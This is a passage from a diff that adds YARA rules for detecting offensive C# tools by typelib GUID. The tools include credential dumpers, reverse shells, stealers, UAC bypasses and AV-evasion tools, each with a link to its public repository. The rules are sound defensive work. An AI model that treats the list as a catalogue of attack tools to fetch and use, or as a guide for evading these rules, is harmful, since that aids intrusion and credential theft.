+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_UglyEXe {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/fashionproof/UglyEXe"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "5833e6c5-f078-5eb5-9519-76710d7da0e1"
+    strings:
+        $typelibguid0lo = "233de44b-4ec1-475d-a7d6-16da48d6fc8d" ascii wide
+        $typelibguid0up = "233DE44B-4EC1-475D-A7D6-16DA48D6FC8D" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpDump {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/GhostPack/SharpDump"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "b613092f-9006-5405-b07e-59737410ac1e"
+    strings:
+        $typelibguid0lo = "79c9bba3-a0ea-431c-866c-77004802d8a0" ascii wide
+        $typelibguid0up = "79C9BBA3-A0EA-431C-866C-77004802D8A0" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_EducationalRAT {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/securesean/EducationalRAT"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "b1d54bea-a6c4-5c57-9ee1-7438d503b01d"
+    strings:
+        $typelibguid0lo = "8a18fbcf-8cac-482d-8ab7-08a44f0e278e" ascii wide
+        $typelibguid0up = "8A18FBCF-8CAC-482D-8AB7-08A44F0E278E" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Stealth_Kid_RAT {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/ctsecurity/Stealth-Kid-RAT"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "f26e040a-dcc7-518f-89f2-3333f83fa14a"
+    strings:
+        $typelibguid0lo = "bf43cd33-c259-4711-8a0e-1a5c6c13811d" ascii wide
+        $typelibguid0up = "BF43CD33-C259-4711-8A0E-1A5C6C13811D" ascii wide
+        $typelibguid1lo = "e5b9df9b-a9e4-4754-8731-efc4e2667d88" ascii wide
+        $typelibguid1up = "E5B9DF9B-A9E4-4754-8731-EFC4E2667D88" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpCradle {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/anthemtotheego/SharpCradle"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "e2123a73-2609-559d-a122-923ebf8fd668"
+    strings:
+        $typelibguid0lo = "f70d2b71-4aae-4b24-9dae-55bc819c78bb" ascii wide
+        $typelibguid0up = "F70D2B71-4AAE-4B24-9DAE-55BC819C78BB" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_BypassUAC {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/cnsimo/BypassUAC"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "327f581e-1d8c-5d20-bdd7-a29810c619c9"
+    strings:
+        $typelibguid0lo = "4e7c140d-bcc4-4b15-8c11-adb4e54cc39a" ascii wide
+        $typelibguid0up = "4E7C140D-BCC4-4B15-8C11-ADB4E54CC39A" ascii wide
+        $typelibguid1lo = "cec553a7-1370-4bbc-9aae-b2f5dbde32b0" ascii wide
+        $typelibguid1up = "CEC553A7-1370-4BBC-9AAE-B2F5DBDE32B0" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_hanzoInjection {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/P0cL4bs/hanzoInjection"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "c432bf68-49bf-57c7-bbfa-7bd2f3506c52"
+    strings:
+        $typelibguid0lo = "32e22e25-b033-4d98-a0b3-3d2c3850f06c" ascii wide
+        $typelibguid0up = "32E22E25-B033-4D98-A0B3-3D2C3850F06C" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_clr_meterpreter {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/OJ/clr-meterpreter"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "1d8a9717-4d80-5fb1-9c57-9b5f6c5a18b0"
+    strings:
+        $typelibguid0lo = "6840b249-1a0e-433b-be79-a927696ea4b3" ascii wide
+        $typelibguid0up = "6840B249-1A0E-433B-BE79-A927696EA4B3" ascii wide
+        $typelibguid1lo = "67c09d37-ac18-4f15-8dd6-b5da721c0df6" ascii wide
+        $typelibguid1up = "67C09D37-AC18-4F15-8DD6-B5DA721C0DF6" ascii wide
+        $typelibguid2lo = "e05d0deb-d724-4448-8c4c-53d6a8e670f3" ascii wide
+        $typelibguid2up = "E05D0DEB-D724-4448-8C4C-53D6A8E670F3" ascii wide
+        $typelibguid3lo = "c3cc72bf-62a2-4034-af66-e66da73e425d" ascii wide
+        $typelibguid3up = "C3CC72BF-62A2-4034-AF66-E66DA73E425D" ascii wide
+        $typelibguid4lo = "7ace3762-d8e1-4969-a5a0-dcaf7b18164e" ascii wide
+        $typelibguid4up = "7ACE3762-D8E1-4969-A5A0-DCAF7B18164E" ascii wide
+        $typelibguid5lo = "3296e4a3-94b5-4232-b423-44f4c7421cb3" ascii wide
+        $typelibguid5up = "3296E4A3-94B5-4232-B423-44F4C7421CB3" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_BYTAGE {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/KNIF/BYTAGE"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "4f87ca2c-3ac1-5733-893e-79665b80ffc3"
+    strings:
+        $typelibguid0lo = "8e46ba56-e877-4dec-be1e-394cb1b5b9de" ascii wide
+        $typelibguid0up = "8E46BA56-E877-4DEC-BE1E-394CB1B5B9DE" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_MultiOS_ReverseShell {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/belane/MultiOS_ReverseShell"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "f54bcb1a-b0cd-5988-bf1d-4fa6c012d6b9"
+    strings:
+        $typelibguid0lo = "df0dd7a1-9f6b-4b0f-801e-e17e73b0801d" ascii wide
+        $typelibguid0up = "DF0DD7A1-9F6B-4B0F-801E-E17E73B0801D" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_HideFromAMSI {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/0r13lc0ch4v1/HideFromAMSI"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "0fa1ce82-b662-5e18-a5da-8359c96cd6e9"
+    strings:
+        $typelibguid0lo = "b91d2d44-794c-49b8-8a75-2fbec3fe3fe3" ascii wide
+        $typelibguid0up = "B91D2D44-794C-49B8-8A75-2FBEC3FE3FE3" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_DotNetAVBypass_Master {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/lockfale/DotNetAVBypass-Master"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "4004271b-4fbe-58bb-9613-a077e76324b3"
+    strings:
+        $typelibguid0lo = "4854c8dc-82b0-4162-86e0-a5bbcbc10240" ascii wide
+        $typelibguid0up = "4854C8DC-82B0-4162-86E0-A5BBCBC10240" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpDPAPI {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/GhostPack/SharpDPAPI"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "1394323f-b336-548f-925c-c276d439e9eb"
+    strings:
+        $typelibguid0lo = "5f026c27-f8e6-4052-b231-8451c6a73838" ascii wide
+        $typelibguid0up = "5F026C27-F8E6-4052-B231-8451C6A73838" ascii wide
+        $typelibguid1lo = "2f00a05b-263d-4fcc-846b-da82bd684603" ascii wide
+        $typelibguid1up = "2F00A05B-263D-4FCC-846B-DA82BD684603" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Telegra_Csharp_C2 {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/sf197/Telegra_Csharp_C2"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "495a5f3e-cf05-5a66-b01c-8176ded88768"
+    strings:
+        $typelibguid0lo = "1d79fabc-2ba2-4604-a4b6-045027340c85" ascii wide
+        $typelibguid0up = "1D79FABC-2BA2-4604-A4B6-045027340C85" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpCompile {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/SpiderLabs/SharpCompile"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "c5e053c4-1c90-581a-a6c3-087b252254b2"
+    strings:
+        $typelibguid0lo = "63f81b73-ff18-4a36-b095-fdcb4776da4c" ascii wide
+        $typelibguid0up = "63F81B73-FF18-4A36-B095-FDCB4776DA4C" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Carbuncle {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/checkymander/Carbuncle"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "4a87882e-570b-5b40-a8e3-47ebac01d257"
+    strings:
+        $typelibguid0lo = "3f239b73-88ae-413b-b8c8-c01a35a0d92e" ascii wide
+        $typelibguid0up = "3F239B73-88AE-413B-B8C8-C01A35A0D92E" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_OSSFileTool {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/B1eed/OSSFileTool"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "fa9aeae1-2aa5-51af-81e2-22a1b6fcda81"
+    strings:
+        $typelibguid0lo = "207aca5d-dcd6-41fb-8465-58b39efcde8b" ascii wide
+        $typelibguid0up = "207ACA5D-DCD6-41FB-8465-58B39EFCDE8B" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Rubeus {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/GhostPack/Rubeus"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "54638fe4-84b5-51a8-8c88-9c50ab09ff49"
+    strings:
+        $typelibguid0lo = "658c8b7f-3664-4a95-9572-a3e5871dfc06" ascii wide
+        $typelibguid0up = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Simple_Loader {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/cribdragg3r/Simple-Loader"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "4c26aaf9-187d-5990-b956-1bbf630411f0"
+    strings:
+        $typelibguid0lo = "035ae711-c0e9-41da-a9a2-6523865e8694" ascii wide
+        $typelibguid0up = "035AE711-C0E9-41DA-A9A2-6523865E8694" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Minidump {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/3xpl01tc0d3r/Minidump"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "51f64c64-f3fa-5543-83fc-5f0bf881ef03"
+    strings:
+        $typelibguid0lo = "15c241aa-e73c-4b38-9489-9a344ac268a3" ascii wide
+        $typelibguid0up = "15C241AA-E73C-4B38-9489-9A344AC268A3" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpBypassUAC {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/FatRodzianko/SharpBypassUAC"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "474d40aa-4bcc-58b5-a129-40bbd3a89e99"
+    strings:
+        $typelibguid0lo = "0d588c86-c680-4b0d-9aed-418f1bb94255" ascii wide
+        $typelibguid0up = "0D588C86-C680-4B0D-9AED-418F1BB94255" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpPack {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/Lexus89/SharpPack"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "633d074a-b8c2-5148-ad80-6226b99be818"
+    strings:
+        $typelibguid1lo = "b59c7741-d522-4a41-bf4d-9badddebb84a" ascii wide
+        $typelibguid1up = "B59C7741-D522-4A41-BF4D-9BADDDEBB84A" ascii wide
+        $typelibguid2lo = "fd6bdf7a-fef4-4b28-9027-5bf750f08048" ascii wide
+        $typelibguid2up = "FD6BDF7A-FEF4-4B28-9027-5BF750F08048" ascii wide
+        $typelibguid3lo = "6dd22880-dac5-4b4d-9c91-8c35cc7b8180" ascii wide
+        $typelibguid3up = "6DD22880-DAC5-4B4D-9C91-8C35CC7B8180" ascii wide
+        $typelibguid5lo = "f3037587-1a3b-41f1-aa71-b026efdb2a82" ascii wide
+        $typelibguid5up = "F3037587-1A3B-41F1-AA71-B026EFDB2A82" ascii wide
+        $typelibguid6lo = "41a90a6a-f9ed-4a2f-8448-d544ec1fd753" ascii wide
+        $typelibguid6up = "41A90A6A-F9ED-4A2F-8448-D544EC1FD753" ascii wide
+        $typelibguid7lo = "3787435b-8352-4bd8-a1c6-e5a1b73921f4" ascii wide
+        $typelibguid7up = "3787435B-8352-4BD8-A1C6-E5A1B73921F4" ascii wide
+        $typelibguid8lo = "fdd654f5-5c54-4d93-bf8e-faf11b00e3e9" ascii wide
+        $typelibguid8up = "FDD654F5-5C54-4D93-BF8E-FAF11B00E3E9" ascii wide
+        $typelibguid9lo = "aec32155-d589-4150-8fe7-2900df4554c8" ascii wide
+        $typelibguid9up = "AEC32155-D589-4150-8FE7-2900DF4554C8" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Salsa_tools {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/Hackplayers/Salsa-tools"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "50db578e-6ddb-54d1-a978-e3630a3548c3"
+    strings:
+        $typelibguid0lo = "276004bb-5200-4381-843c-934e4c385b66" ascii wide
+        $typelibguid0up = "276004BB-5200-4381-843C-934E4C385B66" ascii wide
+        $typelibguid1lo = "cfcbf7b6-1c69-4b1f-8651-6bdb4b55f6b9" ascii wide
+        $typelibguid1up = "CFCBF7B6-1C69-4B1F-8651-6BDB4B55F6B9" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_WindowsDefender_Payload_Downloader {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/notkohlrexo/WindowsDefender-Payload-Downloader"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "6e494a91-c05e-5a2e-8aa9-77600f3bdd47"
+    strings:
+        $typelibguid0lo = "2f8b4d26-7620-4e11-b296-bc46eba3adfc" ascii wide
+        $typelibguid0up = "2F8B4D26-7620-4E11-B296-BC46EBA3ADFC" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Privilege_Escalation {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/Mrakovic-ORG/Privilege_Escalation"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "28615807-6637-57fc-ba56-efc64b041b80"
+    strings:
+        $typelibguid0lo = "ed54b904-5645-4830-8e68-52fd9ecbb2eb" ascii wide
+        $typelibguid0up = "ED54B904-5645-4830-8E68-52FD9ECBB2EB" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Marauder {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/maraudershell/Marauder"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "f2783477-2853-5dcd-95f5-9f1e07a4a6e8"
+    strings:
+        $typelibguid0lo = "fff0a9a3-dfd4-402b-a251-6046d765ad78" ascii wide
+        $typelibguid0up = "FFF0A9A3-DFD4-402B-A251-6046D765AD78" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_AV_Evasion_Tool {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/1y0n/AV_Evasion_Tool"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "d4257465-38a0-56b9-8402-b92e21b96cb0"
+    strings:
+        $typelibguid0lo = "1937ee16-57d7-4a5f-88f4-024244f19dc6" ascii wide
+        $typelibguid0up = "1937EE16-57D7-4A5F-88F4-024244F19DC6" ascii wide
+        $typelibguid1lo = "7898617d-08d2-4297-adfe-5edd5c1b828b" ascii wide
+        $typelibguid1up = "7898617D-08D2-4297-ADFE-5EDD5C1B828B" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Fenrir {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/nccgroup/Fenrir"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "cfc6312d-5997-5261-b771-c7f3f30bf86c"
+    strings:
+        $typelibguid0lo = "aecec195-f143-4d02-b946-df0e1433bd2e" ascii wide
+        $typelibguid0up = "AECEC195-F143-4D02-B946-DF0E1433BD2E" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_StormKitty {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/LimerBoy/StormKitty"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "09d66661-5b67-5846-9bea-ec682afb62cf"
+    strings:
+        $typelibguid0lo = "a16abbb4-985b-4db2-a80c-21268b26c73d" ascii wide
+        $typelibguid0up = "A16ABBB4-985B-4DB2-A80C-21268B26C73D" ascii wide
+        $typelibguid1lo = "98075331-1f86-48c8-ae29-29da39a8f98b" ascii wide
+        $typelibguid1up = "98075331-1F86-48C8-AE29-29DA39A8F98B" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Crypter_Runtime_AV_s_bypass {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/netreverse/Crypter-Runtime-AV-s-bypass"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "726cd57b-d88a-5854-b2e1-76d9bd71a155"
+    strings:
+        $typelibguid0lo = "c25e39a9-8215-43aa-96a3-da0e9512ec18" ascii wide
+        $typelibguid0up = "C25E39A9-8215-43AA-96A3-DA0E9512EC18" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_RunAsUser {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/atthacks/RunAsUser"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "ead7819a-1397-5953-888f-2176e4041375"
+    strings:
+        $typelibguid0lo = "9dff282c-93b9-4063-bf8a-b6798371d35a" ascii wide
+        $typelibguid0up = "9DFF282C-93B9-4063-BF8A-B6798371D35A" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_HWIDbypass {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/yunseok/HWIDbypass"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "62b0541b-6eec-546e-8445-85d25bb0d784"
+    strings:
+        $typelibguid0lo = "47e08791-d124-4746-bc50-24bd1ee719a6" ascii wide
+        $typelibguid0up = "47E08791-D124-4746-BC50-24BD1EE719A6" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_XORedReflectiveDLL {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/r3nhat/XORedReflectiveDLL"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "9b584bfb-98ef-50ee-b546-780c4b210a1b"
+    strings:
+        $typelibguid0lo = "c0e49392-04e3-4abb-b931-5202e0eb4c73" ascii wide
+        $typelibguid0up = "C0E49392-04E3-4ABB-B931-5202E0EB4C73" ascii wide
+        $typelibguid1lo = "30eef7d6-cee8-490b-829f-082041bc3141" ascii wide
+        $typelibguid1up = "30EEF7D6-CEE8-490B-829F-082041BC3141" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Sharp_Suite {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/FuzzySecurity/Sharp-Suite"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        modified = "2023-04-06"
+        id = "ab3cf358-a41d-584d-baaf-5e8f7232ca85"
+    strings:
+        $typelibguid0lo = "19657be4-51ca-4a85-8ab1-f6666008b1f3" ascii wide
+        $typelibguid0up = "19657BE4-51CA-4A85-8AB1-F6666008B1F3" ascii wide
+        $typelibguid1lo = "0a382d9a-897f-431a-81c2-a4e08392c587" ascii wide
+        $typelibguid1up = "0A382D9A-897F-431A-81C2-A4E08392C587" ascii wide
+        $typelibguid2lo = "467ee2a9-2f01-4a71-9647-2a2d9c31e608" ascii wide
+        $typelibguid2up = "467EE2A9-2F01-4A71-9647-2A2D9C31E608" ascii wide
+        $typelibguid3lo = "eacaa2b8-43e5-4888-826d-2f6902e16546" ascii wide
+        $typelibguid3up = "EACAA2B8-43E5-4888-826D-2F6902E16546" ascii wide
+        $typelibguid4lo = "629f86e6-44fe-4c9c-b043-1c9b64be6d5a" ascii wide
+        $typelibguid4up = "629F86E6-44FE-4C9C-B043-1C9B64BE6D5A" ascii wide
+        $typelibguid5lo = "ecf2ffe4-1744-4745-8693-5790d66bb1b8" ascii wide
+        $typelibguid5up = "ECF2FFE4-1744-4745-8693-5790D66BB1B8" ascii wide
+        $typelibguid6lo = "0a621f4c-8082-4c30-b131-ba2c98db0533" ascii wide
+        $typelibguid6up = "0A621F4C-8082-4C30-B131-BA2C98DB0533" ascii wide
